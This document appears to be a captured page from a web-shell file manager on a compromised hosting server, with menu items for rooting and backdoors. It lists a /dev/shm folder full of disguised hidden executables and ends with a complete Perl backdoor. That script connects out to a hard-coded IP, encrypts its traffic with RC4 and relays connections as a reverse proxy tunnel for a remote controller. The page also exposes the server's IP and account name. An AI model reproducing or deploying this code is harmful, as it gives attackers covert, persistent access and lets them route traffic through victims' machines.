Linux premium262.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
Server IP : 67.223.118.64 & Your IP : 216.73.216.123
Domains :
Cant Read [ /etc/named.conf ]
User : srjiblsx
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
dev /
shm /
Delete
Unzip
Name
Size
Permission
Date
Action
lsws
[ DIR ]
drwxr-x---
2026-03-23 10:13
.CryptUtil_1769941401
12.88
KB
-rwxr-xr-x
2026-02-01 10:23
.bind
4.24
KB
-rw-r--r--
2025-05-08 21:57
.binding
52
B
-rw-r--r--
2025-05-19 23:01
.comp
2.18
KB
-rw-r--r--
2025-07-29 18:08
.component
50
B
-rw-r--r--
2025-07-09 06:32
.dat
54
B
-rw-r--r--
2026-02-21 04:30
.data
55
B
-rw-r--r--
2025-08-30 13:03
.data_chunk
4.24
KB
-rw-r--r--
2025-05-08 23:02
.dchunk
43
B
-rw-r--r--
2025-07-06 19:45
.desc
57
B
-rw-r--r--
2025-05-08 05:50
.descriptor
53
B
-rw-r--r--
2025-05-08 05:50
.elem
3.44
KB
-rw-r--r--
2025-07-29 13:58
.element
2.56
KB
-rw-r--r--
2025-10-07 20:23
.ent
47
B
-rw-r--r--
2025-05-08 07:27
.entity
51
B
-rw-r--r--
2025-09-11 07:32
.entry
49
B
-rw-r--r--
2025-07-20 14:11
.fac
52
B
-rw-r--r--
2025-09-04 23:59
.factor
49
B
-rw-r--r--
2025-09-03 23:57
.flag
49
B
-rw-r--r--
2025-08-29 20:23
.flg
683
B
-rw-r--r--
2025-07-27 02:27
.framework_
0
B
-rw-r--r--
2026-01-20 14:33
.frontpage_1769941405
12.88
KB
-rwxr-xr-x
2026-02-01 10:23
.hld
48
B
-rw-r--r--
2025-05-08 02:41
.holder
713
B
-rw-r--r--
2025-08-29 22:35
.item
50
B
-rw-r--r--
2025-08-05 01:01
.itm
56
B
-rw-r--r--
2025-05-08 22:51
.k
56
B
-rw-r--r--
2025-10-31 07:26
.key
4.24
KB
-rw-r--r--
2025-05-08 22:59
.kworker:u8:0_1768730799
12.55
KB
-rwxr-xr-x
2026-01-18 10:06
.marker
2.29
KB
-rw-r--r--
2025-09-03 15:22
.mrk
51
B
-rw-r--r--
2025-07-25 18:50
.obj
1.32
KB
-rw-r--r--
2025-09-02 18:50
.object
11.76
KB
-rw-r--r--
2025-08-14 02:16
.parameter_group
3.78
KB
-rw-r--r--
2025-05-21 11:23
.pgrp
4.24
KB
-rw-r--r--
2025-05-08 22:36
.pointer
56
B
-rw-r--r--
2025-12-29 15:01
.property_set
4.26
KB
-rw-r--r--
2025-10-10 17:01
.pset
5.52
KB
-rw-r--r--
2025-08-03 17:17
.ptr
2.62
KB
-rw-r--r--
2025-06-17 23:19
.rec
54
B
-rw-r--r--
2026-01-01 18:19
.record
51
B
-rw-r--r--
2025-08-01 22:22
.ref
4.22
KB
-rw-r--r--
2025-05-17 01:35
.reference
4.24
KB
-rw-r--r--
2025-05-08 22:21
.res
4.24
KB
-rw-r--r--
2025-05-08 22:56
.resource
46
B
-rw-r--r--
2025-06-28 19:31
.runner_02a8ca47
4.88
MB
-rwxr-xr-x
2025-10-24 09:52
.runner_161e887e
4.88
MB
-rwxr-xr-x
2025-10-24 09:48
.runner_4dc0cbe7
4.88
MB
-rwxr-xr-x
2025-10-24 12:12
.runner_5d8a1637
4.88
MB
-rwxr-xr-x
2025-10-27 11:35
.runner_68cdedeb
4.88
MB
-rwxr-xr-x
2025-10-24 12:01
.runner_75a854a0
4.88
MB
-rwxr-xr-x
2025-10-24 12:13
.runner_7b3e8506
4.88
MB
-rwxr-xr-x
2025-10-24 12:13
.runner_bd01e8cc
4.88
MB
-rwxr-xr-x
2025-10-27 11:30
.runner_cf152ec7
4.44
MB
-rwxr-xr-x
2025-10-24 10:28
.runner_e6267f24
4.88
MB
-rwxr-xr-x
2025-10-27 11:29
.sym
49
B
-rw-r--r--
2025-05-09 02:01
.symbol
56
B
-rw-r--r--
2025-05-07 17:56
.systemd-journald_1768811848
9.04
KB
-rwxr-xr-x
2026-01-19 08:37
.systemd-journald_1768817207
9.04
KB
-rwxr-xr-x
2026-01-19 10:06
.tkn
4.24
KB
-rw-r--r--
2025-05-08 22:18
.token
51
B
-rw-r--r--
2025-08-27 12:01
.val
52
B
-rw-r--r--
2025-05-08 17:02
.value
3.14
KB
-rw-r--r--
2025-05-26 23:07
.viewforum_1769941400
12.88
KB
-rwxr-xr-x
2026-02-01 10:23
AjgNUzFwpc
0
B
-rwxr-xr-x
2025-10-26 16:22
AkWsVUWLxS
0
B
-rwxr-xr-x
2025-10-29 19:49
AvzqaxQNsH
0
B
-rwxr-xr-x
2025-10-29 19:49
BIFWJcGdeJ
0
B
-rwxr-xr-x
2025-10-26 16:22
BiLZEMairo
0
B
-rwxr-xr-x
2025-10-26 16:22
BpIKsvSDfb
0
B
-rwxr-xr-x
2025-10-29 19:49
ByVpxdJjcJ
0
B
-rwxr-xr-x
2025-10-26 16:22
BzLppOTWsm
0
B
-rwxr-xr-x
2025-10-26 16:22
CGfGoIwSnk
0
B
-rwxr-xr-x
2025-10-29 19:49
CNFgAyjnNR
0
B
-rwxr-xr-x
2025-10-26 16:22
DUgpnFYjUm
0
B
-rwxr-xr-x
2025-10-29 19:49
ENcUlNRytr
0
B
-rwxr-xr-x
2025-10-26 16:22
FCQcmvhAIp
0
B
-rwxr-xr-x
2025-10-26 16:22
FoVVbmKZAE
0
B
-rwxr-xr-x
2025-10-29 19:49
FpNeoXXbGa
0
B
-rwxr-xr-x
2025-10-26 16:22
GLlhIpgljB
0
B
-rwxr-xr-x
2025-10-26 16:22
GcKkFfNhBk
0
B
-rwxr-xr-x
2025-10-26 16:22
HFUCNqKlWw
0
B
-rwxr-xr-x
2025-10-26 16:22
HcPzIYcBEy
0
B
-rwxr-xr-x
2025-10-26 16:22
HuxEutNuaS
0
B
-rwxr-xr-x
2025-10-26 16:22
HyjsLygjAz
0
B
-rwxr-xr-x
2025-10-26 16:22
IEURbGiedV
0
B
-rwxr-xr-x
2025-10-26 16:22
IPkQCZhsLX
0
B
-rwxr-xr-x
2025-10-29 19:49
JBDRVpsIOL
0
B
-rwxr-xr-x
2025-10-26 16:22
JGQsfkLUSE
0
B
-rwxr-xr-x
2025-10-26 16:22
JgTWVYBAhc
0
B
-rwxr-xr-x
2025-10-29 19:49
JrdTgOYscH
0
B
-rwxr-xr-x
2025-10-26 16:22
KRttzJtzfy
0
B
-rwxr-xr-x
2025-10-26 16:22
KUXlAplMtT
0
B
-rwxr-xr-x
2025-10-26 16:22
LrVPHPOmIB
0
B
-rwxr-xr-x
2025-10-26 16:22
LufoAGSzMo
0
B
-rwxr-xr-x
2025-10-29 19:49
LxAyZakBzZ
0
B
-rwxr-xr-x
2025-10-29 19:49
MNUQwkQKvA
0
B
-rwxr-xr-x
2025-10-26 16:22
MXJCDBnquB
0
B
-rwxr-xr-x
2025-10-29 19:49
MdDPhOAfvk
0
B
-rwxr-xr-x
2025-10-26 16:22
MouYUcDPlq
0
B
-rwxr-xr-x
2025-10-26 16:22
NASrruNjKl
0
B
-rwxr-xr-x
2025-10-26 16:22
NWzlsAmWDA
0
B
-rwxr-xr-x
2025-10-26 16:22
OCavNMAwvT
0
B
-rwxr-xr-x
2025-10-26 16:22
OEcuSTADJj
0
B
-rwxr-xr-x
2025-10-26 16:22
OFUriBSlKJ
0
B
-rwxr-xr-x
2025-10-29 19:49
OMVgWvQJZg
0
B
-rwxr-xr-x
2025-10-29 19:49
OZXwQHOgnS
0
B
-rwxr-xr-x
2025-10-26 16:22
PAsGGLDvGw
0
B
-rwxr-xr-x
2025-10-29 19:49
PLxjgHVesl
0
B
-rwxr-xr-x
2025-10-29 19:49
PWChlYjQfa
0
B
-rwxr-xr-x
2025-10-29 19:49
PostgreSQL.1617602343
14.64
KB
-rw-------
2026-03-20 09:02
PovnHHfZqf
0
B
-rwxr-xr-x
2025-10-26 16:22
QQLBTSlCOu
0
B
-rwxr-xr-x
2025-10-29 19:49
QRZRaCvJcc
0
B
-rwxr-xr-x
2025-10-26 16:22
QTWJfiOfHz
0
B
-rwxr-xr-x
2025-10-26 16:22
QeQWTxzzjO
0
B
-rwxr-xr-x
2025-10-26 16:22
QxygrLxZOT
0
B
-rwxr-xr-x
2025-10-26 16:22
REXukLHEos
8
B
-rwxr-xr-x
2025-10-26 16:22
RgkYWIEKCV
0
B
-rwxr-xr-x
2025-10-26 16:22
Rqcoajtowd
0
B
-rwxr-xr-x
2025-10-26 16:22
RvakjsCTdX
0
B
-rwxr-xr-x
2025-10-29 19:49
RwKLsGQXLi
0
B
-rwxr-xr-x
2025-10-29 19:49
RwonnFauYI
0
B
-rwxr-xr-x
2025-10-26 16:22
SPdxPwGVBi
0
B
-rwxr-xr-x
2025-10-26 16:22
SbmqyumoNK
0
B
-rwxr-xr-x
2025-10-26 16:22
TKvEzKsvML
0
B
-rwxr-xr-x
2025-10-26 16:22
TkzDkkYtUW
0
B
-rwxr-xr-x
2025-10-26 16:22
UPFWSdkKhI
0
B
-rwxr-xr-x
2025-10-26 16:22
UQIFPSWqRJ
0
B
-rwxr-xr-x
2025-10-26 16:22
UaCgslOlfV
0
B
-rwxr-xr-x
2025-10-26 16:22
UbvHpfbJpY
0
B
-rwxr-xr-x
2025-10-26 16:22
VqayzHMqJR
0
B
-rwxr-xr-x
2025-10-26 16:22
WILxMdxAhf
0
B
-rwxr-xr-x
2025-10-26 16:22
WPzHMkNryy
0
B
-rwxr-xr-x
2025-10-26 16:22
WZinWVPajS
0
B
-rwxr-xr-x
2025-10-26 16:22
WvfIyQryDF
0
B
-rwxr-xr-x
2025-10-29 19:49
XADzIVjFRW
0
B
-rwxr-xr-x
2025-10-29 19:49
XCsFpMLREP
0
B
-rwxr-xr-x
2025-10-26 16:22
XppLPUpAmc
0
B
-rwxr-xr-x
2025-10-26 16:22
YciMgorbxe
0
B
-rwxr-xr-x
2025-10-26 16:22
YhPLSXyTBz
0
B
-rwxr-xr-x
2025-10-26 16:22
ZaZliOqjWw
0
B
-rwxr-xr-x
2025-10-26 16:22
ZymsEVNNEa
0
B
-rwxr-xr-x
2025-10-29 19:49
aVMvVQAxlB
0
B
-rwxr-xr-x
2025-10-26 16:22
aVefPdFOXH
0
B
-rwxr-xr-x
2025-10-29 19:49
aYrtMxzAus
0
B
-rwxr-xr-x
2025-10-29 19:49
cFNdmqjxQo
0
B
-rwxr-xr-x
2025-10-26 16:22
cScKflnLXa
0
B
-rwxr-xr-x
2025-10-26 16:22
chHrnQkLlz
0
B
-rwxr-xr-x
2025-10-29 19:49
dUYkiwsyqh
0
B
-rwxr-xr-x
2025-10-26 16:22
dnUbFGncYb
0
B
-rwxr-xr-x
2025-10-29 19:49
ePyemiycZy
0
B
-rwxr-xr-x
2025-10-26 16:22
fICiSnzKUS
0
B
-rwxr-xr-x
2025-10-29 19:49
fgLXXfVxfr
0
B
-rwxr-xr-x
2025-10-29 19:49
fsQMppuYrv
0
B
-rwxr-xr-x
2025-10-26 16:22
fweCFGJyYu
0
B
-rwxr-xr-x
2025-10-26 16:22
gXrKOcNtTb
0
B
-rwxr-xr-x
2025-10-26 16:22
gbRiepwyVw
0
B
-rwxr-xr-x
2025-10-26 16:22
gdUElaEmiT
0
B
-rwxr-xr-x
2025-10-29 19:49
ilWzihDOXe
0
B
-rwxr-xr-x
2025-10-26 16:22
izyujrfUnB
0
B
-rwxr-xr-x
2025-10-26 16:22
jBdzDIBoaQ
0
B
-rwxr-xr-x
2025-10-26 16:22
jqgRBAXdsb
0
B
-rwxr-xr-x
2025-10-26 16:22
jsxDCGAsxy
0
B
-rwxr-xr-x
2025-10-26 16:22
kQANDieGtt
0
B
-rwxr-xr-x
2025-10-26 16:22
kRDLFGEnfw
0
B
-rwxr-xr-x
2025-10-26 16:22
liTlrDwokC
0
B
-rwxr-xr-x
2025-10-29 19:49
mhAHhEoJxp
0
B
-rwxr-xr-x
2025-10-26 16:22
nfELFlhPQR
0
B
-rwxr-xr-x
2025-10-29 19:49
nmeNpbUAuW
0
B
-rwxr-xr-x
2025-10-26 16:22
oZNTjsAczt
0
B
-rwxr-xr-x
2025-10-29 19:49
oZVWYChElT
0
B
-rwxr-xr-x
2025-10-29 19:49
pCtJyPVXTY
0
B
-rwxr-xr-x
2025-10-29 19:49
pjOobYsTAy
0
B
-rwxr-xr-x
2025-10-26 16:22
pwnqInLMYU
0
B
-rwxr-xr-x
2025-10-26 16:22
qZtsMKvbZd
0
B
-rwxr-xr-x
2025-10-26 16:22
qacySSFtDQ
0
B
-rwxr-xr-x
2025-10-26 16:22
rBLtuseOSR
0
B
-rwxr-xr-x
2025-10-26 16:22
rIqqtSxmMi
0
B
-rwxr-xr-x
2025-10-26 16:22
rgcYBdGkDH
0
B
-rwxr-xr-x
2025-10-26 16:22
sBQIxBdmhf
0
B
-rwxr-xr-x
2025-10-26 16:22
sJyMTztRCv
0
B
-rwxr-xr-x
2025-10-26 16:22
setLCPvijd
0
B
-rwxr-xr-x
2025-10-26 16:22
svc_68d682ea09acf
12.42
MB
-rwxr-xr-x
2025-09-26 12:11
svc_68d684073f11d
12.42
MB
-rwxr-xr-x
2025-09-26 12:16
svc_68d6846d6a085
12.42
MB
-rwxr-xr-x
2025-09-26 12:17
svc_68d69177b7c46
12.42
MB
-rwxr-xr-x
2025-09-26 13:13
svc_68d691d870a67
12.42
MB
-rwxr-xr-x
2025-09-26 13:15
svzDNrfNJc
0
B
-rwxr-xr-x
2025-10-26 16:22
tdBqcjLPum
0
B
-rwxr-xr-x
2025-10-26 16:22
ufhFpGCdHx
0
B
-rwxr-xr-x
2025-10-29 19:49
ufsucghZZj
0
B
-rwxr-xr-x
2025-10-29 19:49
users.logs
4
B
-rw-r--r--
2025-11-03 12:21
vBOlHsZGeN
0
B
-rwxr-xr-x
2025-10-29 19:49
vquykmKgIf
0
B
-rwxr-xr-x
2025-10-26 16:22
xDpfsaMgQT
0
B
-rwxr-xr-x
2025-10-26 16:22
xksTzeZiNo
4
B
-rwxr-xr-x
2025-10-29 19:49
xqpVVtNroR
0
B
-rwxr-xr-x
2025-10-26 16:22
yHqOiCQQOK
0
B
-rwxr-xr-x
2025-10-29 19:49
yvYuddzHgR
0
B
-rwxr-xr-x
2025-10-26 16:22
zDhDvbaawN
0
B
-rwxr-xr-x
2025-10-26 16:22
zbzECBNxMA
0
B
-rwxr-xr-x
2025-10-26 16:22
zoyCcZHGSz
0
B
-rwxr-xr-x
2025-10-26 16:22
zySBdPIMGK
0
B
-rwxr-xr-x
2025-10-26 16:22
Save
Rename
#!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl qw(F_GETFL F_SETFL O_NONBLOCK); my $host = '62.60.131.185'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } # ====================== ОПТИМИЗИРОВАННЫЙ RC4 ====================== sub Rc4_crypt_fast { my ($passw, $length, $buff0, $start, $sz) = @_; # Быстрый доступ к данным my $data_ref = $$buff0; my $key_ref = $$passw; # Первый XOR с ключом for (my $i = 0; $i < $sz; $i++) { vec($data_ref, $start + $i, 8) ^= vec($key_ref, $i % $length, 8); } # Инициализация RC4 (точная копия оригинального алгоритма) my $rc4 = "\x00" x 256; vec($rc4, $_, 8) = $_ for 0..255; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = $length; my $gs = 0; while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } my $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($key_ref, $pockemon2, 8); $pockemon1 &= 255; $pockemon1 += $pockemon7; $pockemon1 &= 255; my $pockemon6 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon0, 8) = $pockemon6; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 &= 255; if ($pockemon0 != 0) { $gs = 1; next; } # Основное шифрование $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; for (my $pockemon3 = 0; $pockemon3 < $sz; $pockemon3++) { $pockemon2++; $pockemon2 &= 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 &= 255; my $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 &= 255; vec($data_ref, $start + $pockemon3, 8) ^= vec($rc4, $pockemon8, 8); } last; } # Второй XOR с ключом for (my $i = 0; $i < $sz; $i++) { vec($data_ref, $start + $i, 8) ^= vec($key_ref, $i % $length, 8); } $$buff0 = $data_ref; } # Обертка для совместимости с оригинальным вызовом sub Rc4_crypt { Rc4_crypt_fast(@_); } # ====================== ОПТИМИЗИРОВАННЫЙ BCCNCT ====================== sub bccnct_optimized { my ($host, $port) = @_; my $remaining = 0; my $remaining4 = 0; my $domain; my $port0; my @socketarr; my @socketarray; my $buffer = "\x00" x 100; my $buffernull = "\x00\x00\x00"; my $buffer0 = "\x00" x 65536; my $buffer1 = "\x00" x 65536; my $isExit = 0; my $_ret0 = 0; my $ecx = 0; my $eax = 0; my $data = 0; my $_ret = 0; my $ebx = 0; my $edx = 0; my $counter = 0; my $countcc = 0; my $rin = ''; my $str_vec = "\x00"; my $str_wec = "\x00\x00"; for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } my $responce = "\x00\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; # Создание и настройка главного сокета socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return 0; setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, pack("I", 65536)); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, pack("I", 65536)); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } # Отправка handshake substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); my $last_activity = time(); while(1) { # Проверяем таймаут неактивности if (time() - $last_activity > 60) { Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); syswrite($socketarr[0], $buffernull, length($buffernull)); $last_activity = time(); } $countcc = 0; $rin = ''; # Проверяем активные сокеты (целевые серверы) for (my $i = 1; $i < 200; $i++) { if ($socketarray[$i] == 1) { vec($rin, fileno($socketarr[$i]), 1) = 1; $countcc++; } } # Обработка данных от целевых серверов if ($countcc > 0) { unless (select($rin, undef, undef, 0.001)) { goto next__; } for (my $i = 1; $i < 200; $i++) { if (($socketarray[$i] == 1) && vec($rin, fileno($socketarr[$i]), 1)) { $data = sysread($socketarr[$i], $buffer1, 65530, 3); unless ($data) { $socketarray[$i] = 0; close($socketarr[$i]); vec($str_vec, 0, 8) = $i; substr($responce, 0, 1) = $str_vec; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); syswrite($socketarr[0], $responce, 3, 0); } else { vec($str_vec, 0, 8) = $i; substr($buffer1, 0, 1) = $str_vec; substr($buffer1, 1, 2) = pack('S', $data); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); syswrite($socketarr[0], $buffer1, 3 + $data); } } } } next__: # Проверяем данные от главного сервера if ($remaining4 != 4) { $rin = ''; vec($rin, fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 0.01); next if ($ret < 0); if ($ret == 0) { $counter++; if ($counter == 100 * 60) { $counter = 0; last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); syswrite($socketarr[0], $buffernull, length($buffernull)); } next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && $socketarray[$ebx] == 1) { $socketarray[$ebx] = 0; close($socketarr[$ebx]); vec($str_vec, 0, 8) = $ebx; substr($responce, 0, 1) = $str_vec; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); syswrite($socketarr[0], $responce, 3, 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; $last_activity = time(); if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec(substr($buffer0, 0, 1), 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $_ret0 = 0; $socketarray[$ebx] = 1; substr($responce, 0, 13) = "\x00\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; vec($str_vec, 0, 8) = $ebx; substr($responce, 0, 1) = $str_vec; setsockopt($socketarr[$ebx], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[$ebx], SOL_SOCKET, SO_RCVBUF, pack("I", 65536)); setsockopt($socketarr[$ebx], SOL_SOCKET, SO_SNDBUF, pack("I", 65536)); fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) | O_NONBLOCK); # Определение типа адреса (оригинальная логика) if (vec(substr($buffer0, 7, 1), 0, 8) == 3) { $domain = substr($buffer0, 9, vec(substr($buffer0, 8, 1), 0, 8)); $port0 = vec(substr($buffer0, 9 + vec(substr($buffer0, 8, 1), 0, 8) + 0, 1) . substr($buffer0, 9 + vec(substr($buffer0, 8, 1), 0, 8) + 1, 1), 0, 16); } elsif (vec(substr($buffer0, 7, 1), 0, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec(substr($buffer0, 8 + 0, 1), 0, 8), vec(substr($buffer0, 8 + 1, 1), 0, 8), vec(substr($buffer0, 8 + 2, 1), 0, 8), vec(substr($buffer0, 8 + 3, 1), 0, 8)); $port0 = vec(substr($buffer0, 12 + 0, 1) . substr($buffer0, 12 + 1, 1), 0, 16); } else { goto close_; } # Установка соединения с целевым сервером eval { my $paddr = sockaddr_in($port0, inet_aton($domain)); connect($socketarr[$ebx], $paddr); vec(my $win = '', fileno($socketarr[$ebx]), 1) = 1; unless (select(undef, $win, undef, 1)) { goto close_; } fcntl($socketarr[$ebx], F_SETFL, fcntl($socketarr[$ebx], F_GETFL, 0) ^ O_NONBLOCK); substr($responce, 4, 1) = "\x00"; $_ret0 = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); syswrite($socketarr[0], $responce, length($responce)); if ($_ret0 == 0) { $socketarray[$ebx] = 0; close($socketarr[$ebx]); vec($str_vec, 0, 8) = $ebx; substr($responce, 0, 1) = $str_vec; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); syswrite($socketarr[0], $responce, 3, 0); } } elsif ($socketarray[$ebx] == 1) { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; $last_activity = time(); substr($buffernull, 0, 3) = "\x00\x00\x00"; $counter = 0; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec(substr($buffer0, 1, 1), 0, 8); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { if ($socketarray[$i] == 1) { close($socketarr[$i]); } } if ($isExit == 1) { exit; } return $_ret; } # ====================== ГЛАВНЫЙ ЦИКЛ С ЭКСПОНЕНЦИАЛЬНОЙ ЗАДЕРЖКОЙ ====================== my $retry_delay = 1; my $max_retry_delay = 180; while(1) { if (bccnct_optimized(\$host, \$port)) { $retry_delay = 1; # Сброс задержки при успехе sleep 1; } else { sleep $retry_delay; $retry_delay = $retry_delay * 2; $retry_delay = $max_retry_delay if $retry_delay > $max_retry_delay; } }